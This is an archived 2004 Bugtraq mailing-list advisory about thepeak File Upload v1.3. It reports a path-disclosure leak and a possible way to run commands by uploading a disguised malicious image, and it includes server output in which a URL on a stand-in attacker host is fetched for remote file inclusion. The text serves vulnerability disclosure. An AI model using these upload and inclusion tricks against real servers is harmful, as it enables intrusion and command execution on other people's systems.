[36947] in bugtraq
a path disclosure and a posibility file inclusion and
daemon@ATHENA.MIT.EDU (keitel andres ortega)
Fri Oct 15 14:53:41 2004
Date: 15 Oct 2004 09:21:31 -0000
Message-ID: <20041015092131.8674.qmail@www.securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
From: keitel andres ortega <justint@rdmail.net>
To: bugtraq@securityfocus.com
Justin_T
#NT - Undernet
justint@orangemail.com.do
hi,
there is a posiblity path disclosure and run commands on a server usint thepeak File Upload v1.3
searching for /fileupload/index.php an attacker can upload a malicious jpg of gif and can execute commands or make a file inclusion,
but it cant be directly to upload a php file with .jpg extension, because detect the content type as text/plain, look this:
name : cmd.jpg
type : text/plain <--- when you upload the file the content type is seem like this
tmp_name : /tmp/phpF0AItw <-- this is a copy of the file in the server with a ramdom temp
error : 0
size : 26564
http://server.com/fileupload/store/cmd.jpg <--- this is where is stored the original file
there is a 2 ways to get in
cracking the content-type when uploading the file or constructing an malicious jpg image with some commands:
1: chmod the dir for file inclusion
2: run certain commands on server, etc
Path Disclosure
when you try to put in input of upload file something like
http://www.attacker.com/command.jpg its seem the path of the web files like this:
File Upload Manager v1.3 © thepeak
name : http://www.attacker.com/cmd.gif
type : application/octet-stream
tmp_name : /tmp/phptd8aE0
error : 0
size : 0
Warning: copy(store/http://www.attacker.com/cmd.gif): failed to open stream: No such file or directory in /home/user/public_html//fileupload/index.php on line 471
ERROR: cannot upload, please chmod the dir to 777
some servers accept the file inclusion and you get this
name : http://www.attacker.com/cmd.gif
type : application/octet-stream
tmp_name : /tmp/phptd8aE0
error : 0
size : 1035
file uploaded!
sorry for my english, is no good :), if you want to organizate this info i apreciated that, thanx :)
